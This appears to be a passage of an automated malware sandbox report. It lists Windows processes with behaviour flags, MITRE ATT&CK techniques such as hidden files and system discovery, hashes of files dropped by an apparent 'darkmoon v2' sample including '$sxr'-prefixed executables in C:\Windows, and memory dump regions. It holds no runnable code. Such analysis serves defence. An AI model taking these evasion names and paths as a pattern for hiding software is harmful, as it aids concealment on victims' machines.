C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3788

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3940

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3852

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:944

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2032

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1020

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1048

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1328

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:3028

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:2580

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4644

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5820
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1140 -ip 1140
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

WER1A59.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A59.tmp.csv
Size 40KB
SHA256 ac4d083f930597499384c6aeea06c8cd8c66599a7d6088bae94cbfe48e50480f
MD5 9684576742663f320eecd3d4ee7ba448
SHA1 c2502e11c7ab7a56f83e0dade70921552c582d55
SHA512 d07d9d626de25b4c0fa43a3108e8f3985a0bf70d9f13d3e663c420a131800f08dee0c68d6aeaeac8e81ec00ced5beeac9f8a3fb5bf22fba587b4e2bf4cb87afb
SSDEEP 768:K0HovBoeoUeS8nit0qdE78db+VRwhG8hTVr4fV3KZBsW+WVsYRjf5h91zxiHm1LS:K0HovOsxdxb+Vj+rKViapWV5Rb1zCuS
MD5 SHA1 SHA512 SSDEEP

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WER1A89.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A89.tmp.txt
Size 13KB
SHA256 48e1a0e679fecc3f57a757a0596e5e2f201d9b065de07d0543b71fde72992c74
MD5 0bd5169d53f685475cdb3d668a6933a0
SHA1 091095e1987b5e4da9e361b2b407fbf1da2483ec
SHA512 7929a0c52e67314d3db9eff22251e68c41e26a715b5c2166d43c21e05356c6da39c49502159bccc006ef2330d4204bbbfa22537c0dc2026fed1688e01a3afe94
SSDEEP 96:4iefSnRPcrTYYBY7WesH2YEZp4WtZiVFWDawYhVCadu3wMJLeqIno3:NefpsWN3hoaduAMJLedno3
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_sg21i41e.q1z.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sg21i41e.q1z.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AyBYMBjlvU.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

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$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 14KB
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5 SHA1 SHA512 SSDEEP

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77EC63BDA74BD0D0E0426DC8F8008506

Path C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Size 328B
SHA256 297ce042c289c81b71a827a537defb9bb61bf29389fab213cb58d99f517653b9
MD5 207d986b3a0430a80753fde556a84f3d
SHA1 b961a986fa887a2a8db1115ce93ad37e58f45276
SHA512 b3d2cb855d895f38ba5e593cf656cf9a263bf116bd98049e8de035984d0965643525b52f4acdf9b4b89873e88046ec02b6bb7bd291a16f555cbfb69d641346b6
MD5 SHA1 SHA512

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FB0D848F74F70BB2EAA93746D24D9749

Path C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Size 330B
SHA256 3adc8cb31677327eedfe1e8ed66e7d4ba1db0a7af19866628c6c34fdb3ae3492
MD5 bc448bb37b8f59b37c06278145ceb6f5
SHA1 09109e74fde8ec888c12a8e1a5e6292cfd2d8427
SHA512 2f1b9fcda75b53e37fb9a1c1b4c0d60ce2dde0eb7873569f667fb51672cfc49ffda415626119217749b34ee29e31244d0958250a44ecd8c9005b8cf830cebce9
MD5 SHA1 SHA512

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E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
Size 412B
SHA256 7d1fd976686a2ad8d1617da2c9e760b331ebc681046bc672b97ff274c27aad0f
MD5 796a292b60682c6794ebbab70690a979
SHA1 6d987c0f88b4191bffdd932739f1381ae256db62
SHA512 ef178dde88903603882e1da34a1b3a6107a628fb18cc1058a7fa110db19ef498503aab244385224fd67b15a72f79852221ab0767bb228df63a5c0128854b238f
MD5 SHA1 SHA512

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memory/384-105-0x000002065E270000-0x000002065E297000-memory.dmp

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memory/384-114-0x00007FF9C9B30000-0x00007FF9C9B40000-memory.dmp

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memory/616-101-0x00000202A6FF0000-0x00000202A7012000-memory.dmp

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memory/616-112-0x00007FF9C9B30000-0x00007FF9C9B40000-memory.dmp

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memory/616-106-0x00000202A7090000-0x00000202A70B7000-memory.dmp

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memory/676-122-0x00007FF9C9B30000-0x00007FF9C9B40000-memory.dmp

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memory/676-110-0x000001AAF1530000-0x000001AAF1557000-memory.dmp

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memory/1056-99-0x0000000140000000-0x0000000140028000-memory.dmp

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memory/1056-90-0x00007FFA09AB0000-0x00007FFA09CA5000-memory.dmp

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memory/1056-91-0x00007FFA08480000-0x00007FFA0853E000-memory.dmp

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memory/1056-89-0x0000000140000000-0x0000000140028000-memory.dmp

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memory/1056-88-0x0000000140000000-0x0000000140028000-memory.dmp

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memory/1300-28-0x000001252FA30000-0x000001252FA3A000-memory.dmp

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memory/1300-26-0x00007FFA09AB0000-0x00007FFA09CA5000-memory.dmp

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memory/1300-4-0x00007FF9EA773000-0x00007FF9EA775000-memory.dmp

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memory/1300-5-0x0000012547DB0000-0x0000012547DD2000-memory.dmp

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memory/1300-15-0x00007FF9EA770000-0x00007FF9EB231000-memory.dmp

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memory/1300-1603-0x00007FF9EA770000-0x00007FF9EB231000-memory.dmp

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memory/1300-1600-0x00007FF9F9FE3000-0x00007FF9F9FE4000-memory.dmp

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memory/1300-16-0x00007FF9EA770000-0x00007FF9EB231000-memory.dmp

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memory/1300-17-0x000001252F9F0000-0x000001252FA14000-memory.dmp

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memory/1300-390-0x000001254A220000-0x000001254A242000-memory.dmp

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memory/1300-380-0x00007FF9EA770000-0x00007FF9EB231000-memory.dmp

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memory/1300-379-0x00007FF9EA773000-0x00007FF9EA775000-memory.dmp

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memory/1300-19-0x00007FFA08480000-0x00007FFA0853E000-memory.dmp

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memory/1300-18-0x00007FFA09AB0000-0x00007FFA09CA5000-memory.dmp

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memory/1300-20-0x000001254A450000-0x000001254AEA0000-memory.dmp

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memory/1300-22-0x000001254AEA0000-0x000001254AF46000-memory.dmp

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memory/1300-23-0x000001254A1C0000-0x000001254A216000-memory.dmp

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memory/1300-24-0x000001254AF50000-0x000001254AFA8000-memory.dmp

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memory/1300-25-0x000001252FA10000-0x000001252FA32000-memory.dmp

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memory/1624-95-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/1624-92-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/1624-93-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/1624-97-0x0000000003880000-0x000000000389A000-memory.dmp

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memory/2324-85-0x00007FFA09AB0000-0x00007FFA09CA5000-memory.dmp

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memory/2324-83-0x000001BBED160000-0x000001BBED19C000-memory.dmp

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memory/2324-57-0x00007FFA09AB0000-0x00007FFA09CA5000-memory.dmp

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memory/2324-58-0x00007FFA08480000-0x00007FFA0853E000-memory.dmp

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memory/2324-59-0x000001BBEC190000-0x000001BBEC716000-memory.dmp

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memory/2324-87-0x000001BBED1A0000-0x000001BBED1D6000-memory.dmp

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memory/2324-86-0x00007FFA08480000-0x00007FFA0853E000-memory.dmp

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memory/2324-60-0x000001BBF47F0000-0x000001BBF4FBA000-memory.dmp

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memory/2324-84-0x000001BBED0C0000-0x000001BBED10E000-memory.dmp

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memory/2324-61-0x000001BBF4FC0000-0x000001BBF53FE000-memory.dmp

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memory/2324-73-0x000001BBED4B0000-0x000001BBED672000-memory.dmp

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memory/2324-72-0x000001BBED220000-0x000001BBED2D2000-memory.dmp

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memory/2324-71-0x000001BBED110000-0x000001BBED160000-memory.dmp

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memory/2324-63-0x00007FFA09AB0000-0x00007FFA09CA5000-memory.dmp

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memory/2324-62-0x000001BBF5400000-0x000001BBF54B2000-memory.dmp

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memory/2936-29-0x0000000140000000-0x0000000140004000-memory.dmp

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memory/2936-31-0x0000000140000000-0x0000000140004000-memory.dmp

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memory/3144-34-0x0000000000400000-0x0000000000406000-memory.dmp

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memory/3144-32-0x0000000000400000-0x0000000000406000-memory.dmp

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